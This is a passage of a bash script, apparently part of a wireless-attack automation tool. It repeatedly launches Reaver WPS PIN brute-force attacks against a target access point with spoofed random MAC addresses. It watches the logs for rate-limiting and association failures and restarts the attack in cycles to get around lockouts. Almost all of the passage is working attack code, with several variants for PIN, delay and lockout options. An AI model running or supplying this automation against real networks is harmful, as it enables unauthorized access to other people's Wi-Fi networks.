done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R2 == n || $USE_R2 == N ]] && [[ $USE_LONG2 == y || $USE_LONG2 == Y ]] && [[ $USE_PIN2 == n || $USE_PIN2 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME2"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL2"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP2"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE2 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME2-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL2 -b $TARGETAP2 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME2-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE2-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R2 == y || $USE_R2 == Y ]] && [[ $USE_LONG2 == y || $USE_LONG2 == Y ]] && [[ $USE_PIN2 == n || $USE_PIN2 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME2"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL2"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP2"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX2" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY2"
echo -e "$info Reaver live time                   = $yel$LIVE2 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME2-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL2 -b $TARGETAP2 -r $RX2:$RY2 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME2-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE2-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R2 == n || $USE_R2 == N ]] && [[ $USE_LONG2 == n || $USE_LONG2 == N ]] && [[ $USE_PIN2 == y || $USE_PIN2 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME2"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL2"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP2"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE2 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME2-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL2 -b $TARGETAP2 -vv -x 60  --pin=$WPS_PIN2 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME2-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE2-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`



if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R2 == y || $USE_R2 == Y ]] && [[ $USE_LONG2 == n || $USE_LONG2 == N ]] && [[ $USE_PIN2 == y || $USE_PIN2 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME2"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL2"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP2"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX2" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY2"
echo -e "$info Reaver live time                   = $yel$LIVE2 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME2-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL2 -b $TARGETAP2 -vv -x 60 -r $RX2:$RY2 --pin=$WPS_PIN2 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME2-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE2-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R2 == n || $USE_R2 == N ]] && [[ $USE_LONG2 == y || $USE_LONG2 == Y ]] && [[ $USE_PIN2 == y || $USE_PIN2 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME2"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL2"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP2"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE2 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME2-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL2 -b $TARGETAP2 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN2 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME2-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE2-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

